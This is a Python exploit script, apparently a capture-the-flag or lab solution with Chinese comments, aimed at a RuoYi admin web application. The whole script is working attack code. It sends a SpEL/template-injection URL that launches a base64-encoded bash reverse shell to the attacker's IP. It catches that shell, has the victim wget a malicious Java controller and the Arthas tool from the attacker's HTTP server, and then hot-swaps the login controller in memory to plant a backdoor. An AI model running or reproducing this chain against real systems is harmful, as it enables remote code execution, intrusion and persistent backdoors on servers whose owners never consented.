1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import threading
import socket
import time
import base64
import http.server
import socketserver
import re
import sys
import urllib.parse
TARGET_IP = "192.168.191.110"
TARGET_PORT = "8080"
ATTACK_IP = "192.168.191.123"
ATTACK_PORT = 1234
HTTP_PORT = 8000
JSESSIONID = "1745bdb3-2c55-4dc0-a8d3-dd99e57a18ed"
# 4. 文件名 (必须在当前脚本同目录下)
JAVA_FILE = "SysLoginController.java"
ARTHAS_ZIP = "arthas-packaging-4.1.1-bin.zip"
# ===========================================
class Soldier(threading.Thread):
"""
自动交互线程:Shell -> 下载 -> 安装Arthas -> 获取Hash -> 编译 -> 热更
"""
def __init__(self, host, port):
super().__init__()
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
self.sock.listen(1)
self.conn = None
self.addr = None
def run(self):
print(f"[+] Socket listening on {self.host}:{self.port}...")
self.conn, self.addr = self.sock.accept()
print(f"[!] SHELL CONNECTED FROM {self.addr[0]}")
self.handle_arthas_flow()
def send(self, cmd):
"""发送命令"""
print(f"[*] Sending: {cmd.strip()}")
try:
self.conn.send(cmd.encode() + b"\n")
except BrokenPipeError:
print("[-] Connection lost during send.")
def recv_until(self, keyword, timeout=20):
"""读取直到看到关键字,返回这一段所有的输出"""
self.conn.settimeout(timeout)
data = b""
start_time = time.time()
while True:
if time.time() - start_time > timeout:
print(f"[-] Timeout waiting for '{keyword}'")
break
try:
chunk = self.conn.recv(4096)
if not chunk: break
data += chunk
decoded = data.decode('utf-8', errors='ignore')
if keyword in decoded:
return decoded
except socket.timeout:
break
except Exception as e:
print(f"[-] Socket error: {e}")
break
return data.decode('utf-8', errors='ignore')
def strip_ansi(self, text):
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
return ansi_escape.sub('', text)
def handle_arthas_flow(self):
# === 1. 环境准备 ===
time.sleep(2) # 等待 shell 稳定
# 下载恶意代码
command = f"wget http://{ATTACK_IP}:{HTTP_PORT}/{JAVA_FILE} -O /app/{JAVA_FILE}"
self.send(command)
time.sleep(1)
# 下载并安装 Arthas
self.send(f"wget http://{ATTACK_IP}:{HTTP_PORT}/{ARTHAS_ZIP} -O arthas.zip")
time.sleep(0.5)
self.send("unzip -o arthas.zip")
time.sleep(1) #解压需要时间
print("[*] Starting Arthas Boot...")
self.send("java -jar arthas-boot.jar")
# 自动选进程 [1]
output = self.recv_until("ruoyi-admin.jar", timeout=10)
self.send("1")
# 等待 Arthas 启动完毕
output = self.recv_until("arthas@", timeout=20)
if "arthas@" not in output:
print("[!] Failed to attach Arthas. Exiting flow.")
# 也可以选择在这里直接进入交互模式排查
return
print("[+] Arthas Attached!")
# === 2. 获取 ClassLoader Hash ===
# 目标命令: sc -d *SysLoginController*
print("[*] STEP 1: Searching ClassLoader Hash...")
self.send("sc -d *SysLoginController*")
sc_output = self.recv_until("Affect(row-cnt:1)", timeout=10)
# 提取 Hash: classLoaderHash 21b8d17c
sc_output = self.strip_ansi(sc_output)
hash_match = re.search(r"classLoaderHash\s+([0-9a-fA-F]+)", sc_output)
if not hash_match:
print("[-] Failed to find hash. Output:\n", sc_output)
return
target_hash = hash_match.group(1)
print(f"[+] GOT HASH: {target_hash}")
# === 3. 内存编译 (Memory Compile) ===
# 目标命令: mc -c 21b8d17c /app/SysLoginController.java
# 注意: 前面wget我们把文件放在了 /app/SysLoginController.java
print("[*] STEP 2: Memory Compiling...")
mc_cmd = f"mc -c {target_hash} {JAVA_FILE}"
self.send(mc_cmd)
mc_output = self.recv_until("Affect(row-cnt:1)", timeout=15)
# 提取 Class Path
# Log 格式:
# Memory compiler output:
# /app/com/ruoyi/web/controller/system/SysLoginController.class
mc_output = self.strip_ansi(mc_output)
path_match = re.search(r"Memory compiler output:\s*(/.+\.class)", mc_output, re.MULTILINE)
# 如果没抓到,尝试抓取任意以 .class 结尾的行
if not path_match:
path_match = re.search(r"([/\w-]+\.class)", mc_output)
if not path_match:
print("[-] Failed to parse class path. Output:\n", mc_output)
# 兜底策略:尝试默认路径,通常 ruoyi 结构固定
class_path = "/app/com/ruoyi/web/controller/system/SysLoginController.class"
print(f"[*] Using fallback path: {class_path}")
else:
class_path = path_match.group(1).strip()
print(f"[+] COMPILED PATH: {class_path}")
# === 4. 热重载 (Redefine) ===
# 目标命令: redefine -c 21b8d17c /path/to/xxx.class
print(f"[*] STEP 3: Redefining Class with {target_hash}...")
redefine_cmd = f"redefine -c {target_hash} {class_path}"
self.send(redefine_cmd)
redefine_output = self.recv_until("redefine success", timeout=10)
if "redefine success" in redefine_output:
print("\n" + "="*50)
print(" [SUCCESS] REDEFINE SUCCEEDED! Backdoor is ACTIVE.")
print("="*50 + "\n")
else:
print("[-] Redefine output does not define success:\n", redefine_output)
# === 5. 转入交互模式 ===
print("[*] Dropping into interactive shell (Ctrl+C to quit)...")
self.conn.setblocking(True)
while True:
try:
# 简单的数据转发
data = self.conn.recv(1024)
if not data: break
sys.stdout.write(data.decode('utf-8', errors='ignore'))
sys.stdout.flush()
except KeyboardInterrupt:
break
except:
break
class FileServer(threading.Thread):
def __init__(self, port):
super().__init__()
self.port = port
self.httpd = socketserver.TCPServer(("", self.port), http.server.SimpleHTTPRequestHandler)
def run(self):
print(f"[+] HTTP File Server running on port {self.port}")
self.httpd.serve_forever()
def generate_url():
# 原始 Payload 模板 (URL Encoded)
raw_template = "http://{target_ip}:{target_port}/monitor/cache/getNames?fragment=__%7c%24%24%7b+%27%27.getClass().forName(%27org.%27%2b%27springframework.expression.spel.standard.SpelExpressionParser%27).newInstance().parseExpression(%22%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27bash+-c+%7becho%2cL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTc3LjEvMTIzNCAwPiYxICY=%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27)%22).getValue()%7d__%3a%3a.xx"
base_url = raw_template.format(target_ip=TARGET_IP, target_port=TARGET_PORT)
# 待替换的旧Base64 (题目原始值)
old_b64 = "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTc3LjEvMTIzNCAwPiYxICY="
# 生成新命令
cmd = f"/bin/bash -i >& /dev/tcp/{ATTACK_IP}/{ATTACK_PORT} 0>&1 &"
# Base64编码
new_b64 = base64.b64encode(cmd.encode()).decode()
# URL Safe (将 + 变为 %2B, = 变为 %3D)
new_b64_safe = urllib.parse.quote(new_b64)
print(f"[*] Payload Cmd: {cmd}")
print(f"[*] New Base64 : {new_b64}")
return base_url.replace(old_b64, new_b64_safe)
def main():
# 确保文件存在
import os
if not os.path.exists(JAVA_FILE) or not os.path.exists(ARTHAS_ZIP):
print(f"[!] Error: Please make sure '{JAVA_FILE}' and '{ARTHAS_ZIP}' are in the current directory.")
sys.exit(1)
# 1. 启动文件服务
fs = FileServer(HTTP_PORT)
fs.daemon = True
fs.start()
# 2. 启动Shell监听
sl = Soldier("0.0.0.0", ATTACK_PORT)
sl.daemon = True
sl.start()
time.sleep(1)
# 3. 发送 EXP
target_url = generate_url()
print(f"[*] Exploiting: {target_url[:60]}...")
try:
requests.post(target_url, cookies={"JSESSIONID": JSESSIONID}, timeout=2)
except requests.exceptions.Timeout:
pass # 反弹shell通常会导致timeout,这是正常的
except Exception as e:
print(f"[!] HTTP Error: {e}")
# 4. 保持主线程
while True:
try:
time.sleep(1)
except KeyboardInterrupt:
print("\n[*] Exiting...")
sys.exit(0)
if __name__ == "__main__":
main()
|